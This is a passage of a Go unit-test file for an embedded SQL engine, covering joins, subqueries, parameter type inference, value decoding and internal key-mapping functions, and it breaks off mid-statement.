rowCount-1-i, i*i, i), nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("UPSERT INTO table3 (id, age) VALUES (%d, %d)", i, 30+i), nil) require.NoError(t, err) } r, err := engine.Query(context.Background(), nil, ` SELECT id, title, t2.amount AS total_amount, t3.age FROM table1 t1 INNER JOIN table2 t2 ON (fkid1 = t2.id AND title != NULL) INNER JOIN table3 t3 ON t2.fkid1 = t3.id ORDER BY id DESC`, nil) require.NoError(t, err) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 4) for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) require.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "t1", "id")].RawValue()) require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "t1", "title")].RawValue()) require.Equal(t, int64((rowCount-1-i)*(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "t2", "total_amount")].RawValue()) require.Equal(t, int64(30+(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "t3", "age")].RawValue()) } err = r.Close() require.NoError(t, err) } func TestLeftJoins(t *testing.T) { e := setupCommonTest(t) _, _, err := e.Exec( context.Background(), nil, ` CREATE TABLE customers ( customer_id INTEGER, customer_name VARCHAR(50), email VARCHAR(100), PRIMARY KEY customer_id ); CREATE TABLE products ( product_id INTEGER, product_name VARCHAR(50), price FLOAT, PRIMARY KEY product_id ); CREATE TABLE orders ( order_id INTEGER, customer_id INTEGER, order_date TIMESTAMP, PRIMARY KEY order_id ); CREATE TABLE order_items ( order_item_id INTEGER, order_id INTEGER, product_id INTEGER, quantity INTEGER, PRIMARY KEY order_item_id ); INSERT INTO customers (customer_id, customer_name, email) VALUES (1, 'Alice Johnson', 'alice@example.com'), (2, 'Bob Smith', 'bob@example.com'), (3, 'Charlie Brown', 'charlie@example.com'); INSERT INTO products (product_id, product_name, price) VALUES (1, 'Laptop', 1200.00), (2, 'Smartphone', 800.00), (3, 'Tablet', 400.00); INSERT INTO orders (order_id, customer_id, order_date) VALUES (101, 1, '2024-11-01'::TIMESTAMP), (102, 2, '2024-11-02'::TIMESTAMP), (103, 1, '2024-11-03'::TIMESTAMP); INSERT INTO order_items (order_item_id, order_id, product_id, quantity) VALUES (1, 101, 1, 2), (2, 101, 2, 1), (3, 102, 3, 3), (4, 103, 2, 2); `, nil, ) require.NoError(t, err) assertQueryShouldProduceResults( t, e, `SELECT c.customer_id, c.customer_name, c.email, o.order_id, o.order_date FROM customers c LEFT JOIN orders o ON c.customer_id = o.customer_id ORDER BY c.customer_id, o.order_date;`, ` SELECT * FROM ( VALUES (1, 'Alice Johnson', 'alice@example.com', 101, '2024-11-01'::TIMESTAMP), (1, 'Alice Johnson', 'alice@example.com', 103, '2024-11-03'::TIMESTAMP), (2, 'Bob Smith', 'bob@example.com', 102, '2024-11-02'::TIMESTAMP), (3, 'Charlie Brown', 'charlie@example.com', NULL, NULL) )`, ) assertQueryShouldProduceResults( t, e, ` SELECT c.customer_name, c.email, o.order_id, o.order_date, p.product_name, oi.quantity, p.price, (oi.quantity * p.price) AS total_price FROM products p LEFT JOIN order_Items oi ON p.product_id = oi.product_id LEFT JOIN orders o ON oi.order_id = o.order_id LEFT JOIN customers c ON o.customer_id = c.customer_id ORDER BY o.order_date, c.customer_name;`, ` SELECT * FROM ( VALUES ('Alice Johnson', 'alice@example.com', 101, '2024-11-01'::TIMESTAMP, 'Laptop', 2, 1200.00, 2400.00), ('Alice Johnson', 'alice@example.com', 101, '2024-11-01'::TIMESTAMP, 'Smartphone', 1, 800.00, 800.00), ('Bob Smith', 'bob@example.com', 102, '2024-11-02'::TIMESTAMP, 'Tablet', 3, 400.00, 1200.00), ('Alice Johnson', 'alice@example.com', 103, '2024-11-03'::TIMESTAMP, 'Smartphone', 2, 800.00, 1600.00) )`, ) } func TestReOpening(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) t.Cleanup(func() { closeStore(t, st) }) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, name VARCHAR[30], PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) require.NoError(t, err) engine, err = NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, name VARCHAR[30], PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrTableAlreadyExists) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) require.ErrorIs(t, err, ErrIndexAlreadyExists) } func TestSubQuery(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, active BOOLEAN, payload BLOB, PRIMARY KEY id)", nil) require.NoError(t, err) rowCount := 10 for i := 0; i < rowCount; i++ { encPayload := hex.EncodeToString([]byte(fmt.Sprintf("blob%d", i))) _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(` UPSERT INTO table1 (id, title, active, payload) VALUES (%d, 'title%d', %v, x'%s') `, i, i, i%2 == 0, encPayload), nil) require.NoError(t, err) } r, err := engine.Query(context.Background(), nil, ` SELECT id, title t FROM (SELECT id, title, active FROM table1) t2 WHERE active AND t2.id >= 0`, nil) require.NoError(t, err) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 2) for i := 0; i < rowCount; i += 2 { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 2) require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "t2", "id")].RawValue()) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "t2", "t")].RawValue()) } err = r.Close() require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title) VALUES (0, 'title0')", nil) require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM (SELECT id, title, active FROM table1) WHERE active", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.NoError(t, err) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM (SELECT id, title, active FROM table1) WHERE title", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrInvalidCondition) err = r.Close() require.NoError(t, err) } func TestJoinsWithSubquery(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix).WithAutocommit(true)) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, ` CREATE TABLE IF NOT EXISTS customers ( id INTEGER, customer_name VARCHAR[60], email VARCHAR[150], address VARCHAR, city VARCHAR, ip VARCHAR[40], country VARCHAR[15], age INTEGER, active BOOLEAN, PRIMARY KEY (id) ); CREATE TABLE customer_review( customerid INTEGER, productid INTEGER, review VARCHAR, PRIMARY KEY (customerid, productid) ); INSERT INTO customers ( id, customer_name, email, address, city, ip, country, age, active ) VALUES ( 1, 'Isidro Behnen', 'ibehnen0@mail.ru', 'ibehnen0@chronoengine.com', 'Arvika', '127.0.0.15', 'SE', 24, true ); INSERT INTO customer_review (customerid, productid, review) VALUES(1, 1, 'Nice Juice!'); `, nil) require.NoError(t, err) r, err := engine.Query(context.Background(), nil, ` SELECT * FROM ( SELECT id, customer_name, age FROM customers AS c ) INNER JOIN ( SELECT MAX(customerid) as customerid, COUNT(*) as review_count FROM customer_review AS r ) ON r.customerid = c.id WHERE c.age < 30 `, nil) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 5) require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "c", "id")].RawValue()) require.Equal(t, "Isidro Behnen", row.ValuesBySelector[EncodeSelector("", "c", "customer_name")].RawValue()) require.Equal(t, int64(24), row.ValuesBySelector[EncodeSelector("", "c", "age")].RawValue()) require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "r", "customerid")].RawValue()) require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "r", "review_count")].RawValue()) err = r.Close() require.NoError(t, err) } func TestInferParameters(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) stmt := "CREATE DATABASE db1" params, err := engine.InferParameters(context.Background(), nil, stmt) require.NoError(t, err) require.Empty(t, params) params, err = engine.InferParametersPreparedStmts(context.Background(), nil, []SQLStmt{&CreateDatabaseStmt{}}) require.NoError(t, err) require.Empty(t, params) params, err = engine.InferParameters(context.Background(), nil, stmt) require.NoError(t, err) require.Empty(t, params) params, err = engine.InferParametersPreparedStmts(context.Background(), nil, []SQLStmt{&CreateDatabaseStmt{}}) require.NoError(t, err) require.Empty(t, params) stmt = "CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)" _, _, err = engine.Exec(context.Background(), nil, stmt, nil) require.NoError(t, err) _, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable(id, title) VALUES (@id, @title);") require.NoError(t, err) _, err = engine.InferParameters(context.Background(), nil, "invalid sql stmt") require.ErrorIs(t, err, ErrParsingError) require.EqualError(t, err, "parsing error: syntax error: unexpected IDENTIFIER at position 7") _, err = engine.InferParametersPreparedStmts(context.Background(), nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) params, err = engine.InferParameters(context.Background(), nil, stmt) require.NoError(t, err) require.Len(t, params, 0) params, err = engine.InferParameters(context.Background(), nil, "USE DATABASE db1") require.NoError(t, err) require.Len(t, params, 0) params, err = engine.InferParameters(context.Background(), nil, "USE SNAPSHOT BEFORE TX 10") require.NoError(t, err) require.Len(t, params, 0) params, err = engine.InferParameters(context.Background(), nil, stmt) require.NoError(t, err) require.Len(t, params, 0) pstmt, err := ParseSQL(strings.NewReader(stmt)) require.NoError(t, err) require.Len(t, pstmt, 1) _, err = engine.InferParametersPreparedStmts(context.Background(), nil, pstmt) require.NoError(t, err) params, err = engine.InferParameters(context.Background(), nil, "ALTER TABLE mytableSE ADD COLUMN note VARCHAR") require.NoError(t, err) require.Len(t, params, 0) params, err = engine.InferParameters(context.Background(), nil, "ALTER TABLE mytableSE RENAME COLUMN note TO newNote") require.NoError(t, err) require.Len(t, params, 0) stmt = "CREATE INDEX ON mytable(active)" params, err = engine.InferParameters(context.Background(), nil, stmt) require.NoError(t, err) require.Len(t, params, 0) _, _, err = engine.Exec(context.Background(), nil, stmt, nil) require.NoError(t, err) params, err = engine.InferParameters(context.Background(), nil, "BEGIN TRANSACTION; INSERT INTO mytable(id, title) VALUES (@id, @title); COMMIT;") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, IntegerType, params["id"]) require.Equal(t, VarcharType, params["title"]) params, err = engine.InferParameters(context.Background(), nil, "BEGIN TRANSACTION; INSERT INTO mytable(id, title) VALUES (@id, @title); ROLLBACK;") require.NoError(t, err) require.Len(t, params, 2) params, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable(id, title) VALUES (1, 'title1')") require.NoError(t, err) require.Len(t, params, 0) params, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable(id, title) VALUES (1, 'title1'), (@id2, @title2)") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, IntegerType, params["id2"]) require.Equal(t, VarcharType, params["title2"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE (id - 1) > (@id + (@id+1))") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, IntegerType, params["id"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable t1 INNER JOIN mytable t2 ON t1.id = t2.id WHERE id > @id") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, IntegerType, params["id"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE id > @id AND (NOT @active OR active)") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, IntegerType, params["id"]) require.Equal(t, BooleanType, params["active"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE id > ? AND (NOT ? OR active)") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, IntegerType, params["param1"]) require.Equal(t, BooleanType, params["param2"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE id > $2 AND (NOT $1 OR active)") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, BooleanType, params["param1"]) require.Equal(t, IntegerType, params["param2"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT COUNT(*) FROM mytable GROUP BY active HAVING @param1 = COUNT(*) ORDER BY active") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, IntegerType, params["param1"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT COUNT(*), MIN(id) FROM mytable GROUP BY active HAVING @param1 < MIN(id) ORDER BY active") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, IntegerType, params["param1"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE @active AND title LIKE 't+'") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, BooleanType, params["active"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM TABLES() WHERE name = @tablename") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, VarcharType, params["tablename"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM INDEXES('mytable') idxs WHERE idxs.\"unique\" = @unique") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, BooleanType, params["unique"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM COLUMNS('mytable') WHERE name = @column") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, VarcharType, params["column"]) } func TestInferParametersPrepared(t *testing.T) { engine := setupCommonTest(t) stmts, err := ParseSQL(strings.NewReader("CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)")) require.NoError(t, err) require.Len(t, stmts, 1) params, err := engine.InferParametersPreparedStmts(context.Background(), nil, stmts) require.NoError(t, err) require.Len(t, params, 0) _, _, err = engine.ExecPreparedStmts(context.Background(), nil, stmts, nil) require.NoError(t, err) } func TestInferParametersUnbounded(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) params, err := engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE @param1 = @param2") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, AnyType, params["param1"]) require.Equal(t, AnyType, params["param2"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE @param1 AND @param2") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, BooleanType, params["param1"]) require.Equal(t, BooleanType, params["param2"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE @param1 != NULL") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, AnyType, params["param1"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE @param1 OR TRUE") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, BooleanType, params["param1"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE @param1 != NULL AND (@param1 AND active)") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, BooleanType, params["param1"]) params, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE @param1 != NULL AND (@param1 <= mytable.id)") require.NoError(t, err) require.Len(t, params, 1) require.Equal(t, IntegerType, params["param1"]) } func TestInferParametersInvalidCases(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE mytable(id INTEGER, title VARCHAR, active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) _, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable(id, title) VALUES (@param1, @param1)") require.ErrorIs(t, err, ErrInferredMultipleTypes) _, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable(id, title) VALUES (@param1)") require.ErrorIs(t, err, ErrInvalidNumberOfValues) _, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable1(id, title) VALUES (@param1, @param2)") require.ErrorIs(t, err, ErrTableDoesNotExist) _, err = engine.InferParameters(context.Background(), nil, "INSERT INTO mytable(id, note) VALUES (@param1, @param2)") require.ErrorIs(t, err, ErrColumnDoesNotExist) _, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE id > @param1 AND (@param1 OR active)") require.ErrorIs(t, err, ErrInferredMultipleTypes) _, err = engine.InferParameters(context.Background(), nil, "BEGIN TRANSACTION; INSERT INTO mytable(id, title) VALUES (@param1, @param1); COMMIT;") require.ErrorIs(t, err, ErrInferredMultipleTypes) _, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE id > INVALID_FUNCTION()") require.ErrorIs(t, err, ErrIllegalArguments) _, err = engine.InferParameters(context.Background(), nil, "SELECT * FROM mytable WHERE id > CAST(wrong_column_name AS INTEGER)") require.ErrorIs(t, err, ErrColumnDoesNotExist) } func TestDecodeValueFailures(t *testing.T) { for _, d := range []struct { n string b []byte t SQLValueType }{ { "Empty data", []byte{}, IntegerType, }, { "Not enough bytes for length", []byte{1, 2}, IntegerType, }, { "Not enough data", []byte{0, 0, 0, 3, 1, 2}, VarcharType, }, { "Negative length", []byte{0x80, 0, 0, 0, 0}, VarcharType, }, { "Too large integer", []byte{0, 0, 0, 9, 1, 2, 3, 4, 5, 6, 7, 8, 9}, IntegerType, }, { "Too large timestamp", []byte{0, 0, 0, 9, 1, 2, 3, 4, 5, 6, 7, 8, 9}, TimestampType, }, { "Zero-length boolean", []byte{0, 0, 0, 0}, BooleanType, }, { "Too large boolean", []byte{0, 0, 0, 2, 0, 0}, BooleanType, }, { "Any type", []byte{0, 0, 0, 1, 1}, AnyType, }, } { t.Run(d.n, func(t *testing.T) { _, _, err := DecodeValue(d.b, d.t) require.True(t, errors.Is(err, ErrCorruptedData)) }) } } func TestDecodeValueSuccess(t *testing.T) { for _, d := range []struct { n string b []byte t SQLValueType v TypedValue offs int }{ { "varchar", []byte{0, 0, 0, 2, 'H', 'i'}, VarcharType, &Varchar{val: "Hi"}, 6, }, { "varchar padded", []byte{0, 0, 0, 2, 'H', 'i', 1, 2, 3}, VarcharType, &Varchar{val: "Hi"}, 6, }, { "empty varchar", []byte{0, 0, 0, 0}, VarcharType, &Varchar{val: ""}, 4, }, { "zero integer", []byte{0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0}, IntegerType, &Integer{val: 0}, 12, }, { "large integer", []byte{0, 0, 0, 8, 0, 0, 0, 0, 127, 255, 255, 255}, IntegerType, &Integer{val: math.MaxInt32}, 12, }, { "large integer padded", []byte{0, 0, 0, 8, 0, 0, 0, 0, 127, 255, 255, 255, 1, 1, 1}, IntegerType, &Integer{val: math.MaxInt32}, 12, }, { "boolean false", []byte{0, 0, 0, 1, 0}, BooleanType, &Bool{val: false}, 5, }, { "boolean true", []byte{0, 0, 0, 1, 1}, BooleanType, &Bool{val: true}, 5, }, { "boolean padded", []byte{0, 0, 0, 1, 0, 1}, BooleanType, &Bool{val: false}, 5, }, { "blob", []byte{0, 0, 0, 2, 'H', 'i'}, BLOBType, &Blob{val: []byte{'H', 'i'}}, 6, }, { "blob padded", []byte{0, 0, 0, 2, 'H', 'i', 1, 2, 3}, BLOBType, &Blob{val: []byte{'H', 'i'}}, 6, }, { "empty blob", []byte{0, 0, 0, 0}, BLOBType, &Blob{val: []byte{}}, 4, }, } { t.Run(d.n, func(t *testing.T) { v, offs, err := DecodeValue(d.b, d.t) require.NoError(t, err) require.EqualValues(t, d.offs, offs) cmp, err := d.v.Compare(v) require.NoError(t, err) require.Zero(t, cmp) }) } } func TestTrimPrefix(t *testing.T) { e := Engine{prefix: []byte("e-prefix")} for _, d := range []struct { n string k string }{ {"empty key", ""}, {"no engine prefix", "no-e-prefix)"}, {"no mapping prefix", "e-prefix-no-mapping-prefix"}, {"short mapping prefix", "e-prefix-mapping"}, } { t.Run(d.n, func(t *testing.T) { prefix, err := trimPrefix(e.prefix, []byte(d.k), []byte("-mapping-prefix")) require.Nil(t, prefix) require.ErrorIs(t, err, ErrIllegalMappedKey) }) } for _, d := range []struct { n string k string p string }{ {"correct prefix", "e-prefix-mapping-prefix-key", "-key"}, {"exact prefix", "e-prefix-mapping-prefix", ""}, } { t.Run(d.n, func(t *testing.T) { prefix, err := trimPrefix(e.prefix, []byte(d.k), []byte("-mapping-prefix")) require.NoError(t, err) require.NotNil(t, prefix) require.EqualValues(t, []byte(d.p), prefix) }) } } func TestUnmapTableId(t *testing.T) { e := Engine{prefix: []byte("e-prefix.")} dbID, tableID, err := unmapTableID(e.prefix, nil) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, dbID) require.Zero(t, tableID) dbID, tableID, err = unmapTableID(e.prefix, []byte( "e-prefix.CTL.TABLE.a", )) require.ErrorIs(t, err, ErrCorruptedData) require.Zero(t, dbID) require.Zero(t, tableID) dbID, tableID, err = unmapTableID(e.prefix, append( []byte("e-prefix.CTL.TABLE."), 0x01, 0x02, 0x03, 0x04, 0x11, 0x12, 0x13, 0x14, )) require.NoError(t, err) require.EqualValues(t, 0x01020304, dbID) require.EqualValues(t, 0x11121314, tableID) } func TestUnmapColSpec(t *testing.T) { e := Engine{prefix: []byte("e-prefix.")} dbID, tableID, colID, colType, err := unmapColSpec(e.prefix, nil) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, dbID) require.Zero(t, tableID) require.Zero(t, colID) require.Zero(t, colType) dbID, tableID, colID, colType, err = unmapColSpec(e.prefix, []byte( "e-prefix.CTL.COLUMN.a", )) require.ErrorIs(t, err, ErrCorruptedData) require.Zero(t, dbID) require.Zero(t, tableID) require.Zero(t, colID) require.Zero(t, colType) dbID, tableID, colID, colType, err = unmapColSpec(e.prefix, append( []byte("e-prefix.CTL.COLUMN."), 0x01, 0x02, 0x03, 0x04, 0x11, 0x12, 0x13, 0x14, 0x21, 0x22, 0x23, 0x24, 0x00, )) require.ErrorIs(t, err, ErrCorruptedData) require.Zero(t, dbID) require.Zero(t, tableID) require.Zero(t, colID) require.Zero(t, colType) dbID, tableID, colID, colType, err = unmapColSpec(e.prefix, append( []byte("e-prefix.CTL.COLUMN."), 0x01, 0x02, 0x03, 0x04, 0x11, 0x12, 0x13, 0x14, 0x21, 0x22, 0x23, 0x24, 'I', 'N', 'T', 'E', 'G', 'E', 'R', )) require.NoError(t, err) require.EqualValues(t, 0x01020304, dbID) require.EqualValues(t, 0x11121314, tableID) require.EqualValues(t, 0x21222324, colID) require.Equal(t, "INTEGER", colType) } func TestUnmapIndex(t *testing.T) { e := Engine{prefix: []byte("e-prefix.")} dbID, tableID, colID, err := unmapIndex(e.prefix, nil) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, dbID) require.Zero(t, tableID) require.Zero(t, colID) dbID, tableID, colID, err = unmapIndex(e.prefix, []byte( "e-prefix.CTL.INDEX.a", )) require.ErrorIs(t, err, ErrCorruptedData) require.Zero(t, dbID) require.Zero(t, tableID) require.Zero(t, colID) dbID, tableID, colID, err = unmapIndex(e.prefix, append( []byte("e-prefix.CTL.INDEX."), 0x01, 0x02, 0x03, 0x04, 0x11, 0x12, 0x13, 0x14, 0x21, 0x22, 0x23, 0x24, )) require.NoError(t, err) require.EqualValues(t, 0x01020304, dbID) require.EqualValues(t, 0x11121314, tableID) require.EqualValues(t, 0x21222324, colID) } func TestUnmapIndexEntry(t *testing.T) { e := Engine{prefix: []byte("e-prefix.")} encPKVals, err := unmapIndexEntry(&Index{id: PKIndexID, unique: true}, e.prefix, nil) require.ErrorIs(t, err, ErrCorruptedData) require.Nil(t, encPKVals) encPKVals, err = unmapIndexEntry(&Index{id: PKIndexID, unique: true}, e.prefix, []byte( "e-prefix.M.\x80a", )) require.ErrorIs(t, err, ErrCorruptedData) require.Nil(t, encPKVals) fullValue := append( []byte("e-prefix.M."), 0x11, 0x12, 0x13, 0x14, 0x00, 0x00, 0x00, 0x02, 0x80, 'a', 'b', 'c', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0x80, 'w', 'x', 'y', 'z', 0, 0, 0, 4, ) sIndex := &Index{ table: &Table{ id: 0x11121314, }, id: 2, unique: false, cols: []*Column{ {id: 3, colType: VarcharType, maxLen: 10}, }, } encPKLen := 8 for i := 13; i < len(fullValue)-encPKLen; i++ { encPKVals, err = unmapIndexEntry(sIndex, e.prefix, fullValue[:i]) require.ErrorIs(t, err, ErrCorruptedData) require.Nil(t, encPKVals) } encPKVals, err = unmapIndexEntry(sIndex, e.prefix, fullValue) require.NoError(t, err) require.EqualValues(t, []byte{0x80, 'w', 'x', 'y', 'z', 0, 0, 0, 4}, encPKVals) } func TestEncodeAsKeyEdgeCases(t *testing.T) { _, _, err := EncodeValueAsKey(&NullValue{}, IntegerType, 0) require.ErrorIs(t, err, ErrInvalidValue) _, _, err = EncodeValueAsKey(&Varchar{val: "a"}, VarcharType, MaxKeyLen+1) require.ErrorIs(t, err, ErrMaxKeyLengthExceeded) _, _, err = EncodeValueAsKey(&Varchar{val: "a"}, "NOTATYPE", MaxKeyLen) require.ErrorIs(t, err, ErrInvalidValue) t.Run("varchar cases", func(t *testing.T) { _, _, err = EncodeValueAsKey(&Bool{val: true}, VarcharType, 10) require.ErrorIs(t, err, ErrInvalidValue) _, _, err = EncodeValueAsKey(&Varchar{val: "abc"}, VarcharType, 1) require.ErrorIs(t, err, ErrMaxLengthExceeded) }) t.Run("integer cases", func(t *testing.T) { _, _, err = EncodeValueAsKey(&Bool{val: true}, IntegerType, 8) require.ErrorIs(t, err, ErrInvalidValue) _, _, err = EncodeValueAsKey(&Integer{val: int64(10)}, IntegerType, 4) require.ErrorIs(t, err, ErrCorruptedData) }) t.Run("boolean cases", func(t *testing.T) { _, _, err = EncodeValueAsKey(&Varchar{val: "abc"}, BooleanType, 1) require.ErrorIs(t, err, ErrInvalidValue) _, _, err = EncodeValueAsKey(&Bool{val: true}, BooleanType, 2) require.ErrorIs(t, err, ErrCorruptedData) }) t.Run("blob cases", func(t *testing.T) { _, _, err = EncodeValueAsKey(&Varchar{val: "abc"}, BLOBType, 3) require.ErrorIs(t, err, ErrInvalidValue) _, _, err = EncodeValueAsKey(&Blob{val: []byte{1, 2, 3}}, BLOBType, 2) require.ErrorIs(t, err, ErrMaxLengthExceeded) }) t.Run("timestamp cases", func(t *testing.T) { _, _, err = EncodeValueAsKey(&Bool{val: true}, TimestampType, 8) require.ErrorIs(t, err, ErrInvalidValue) _, _, err = EncodeValueAsKey(&Integer{val: int64(10)}, TimestampType, 4) require.ErrorIs(t, err, ErrCorruptedData) }) } func TestIndexingNullableColumns(t *testing.T) { engine := setupCommonTest(t) exec := func(t *testing.T, stmt string) *SQLTx { ret, _, err := engine.Exec(context.Background(), nil, stmt, nil) require.NoError(t, err) return ret } query := func(t *testing.T, stmt string, expectedRows ...*Row) { reader, err := engine.Query(context.Background(), nil, stmt, nil) require.NoError(t, err) for _, expectedRow := range expectedRows { row, err := reader.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, expectedRow, row) } _, err = reader.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = reader.Close() require.NoError(t, err) } colVal := func(t *testing.T, v interface{}, tp SQLValueType) TypedValue { switch v := v.(type) { case nil: return &NullValue{t: tp} case int: return &Integer{val: int64(v)} case string: return &Varchar{val: v} case []byte: return &Blob{val: v} case bool: return &Bool{val: v} } require.Fail(t, "Unknown type of value") return nil } t1Row := func(id int64, v1, v2 interface{}) *Row { idVal := &Integer{val: id} v1Val := colVal(t, v1, IntegerType) v2Val := colVal(t, v2, VarcharType) return &Row{ ValuesByPosition: []TypedValue{ idVal, v1Val, v2Val, }, ValuesBySelector: map[string]TypedValue{ EncodeSelector("", "table1", "id"): idVal, EncodeSelector("", "table1", "v1"): v1Val, EncodeSelector("", "table1", "v2"): v2Val, }, } } t2Row := func(id int64, v1, v2, v3, v4 interface{}) *Row { idVal := &Integer{val: id} v1Val := colVal(t, v1, IntegerType) v2Val := colVal(t, v2, VarcharType) v3Val := colVal(t, v3, BooleanType) v4Val := colVal(t, v4, BLOBType) return &Row{ ValuesByPosition: []TypedValue{ idVal, v1Val, v2Val, v3Val, v4Val, }, ValuesBySelector: map[string]TypedValue{ EncodeSelector("", "table2", "id"): idVal, EncodeSelector("", "table2", "v1"): v1Val, EncodeSelector("", "table2", "v2"): v2Val, EncodeSelector("", "table2", "v3"): v3Val, EncodeSelector("", "table2", "v4"): v4Val, }, } } exec(t, ` CREATE TABLE table1 ( id INTEGER AUTO_INCREMENT, v1 INTEGER, v2 VARCHAR[16], PRIMARY KEY(id) ) `) exec(t, "CREATE INDEX ON table1 (v1, v2)") query(t, "SELECT * FROM table1 USE INDEX ON(v1,v2)") t.Run("succeed adding non-null columns", func(t *testing.T) { exec(t, "INSERT INTO table1(v1,v2) VALUES(1, '2')") query(t, "SELECT * 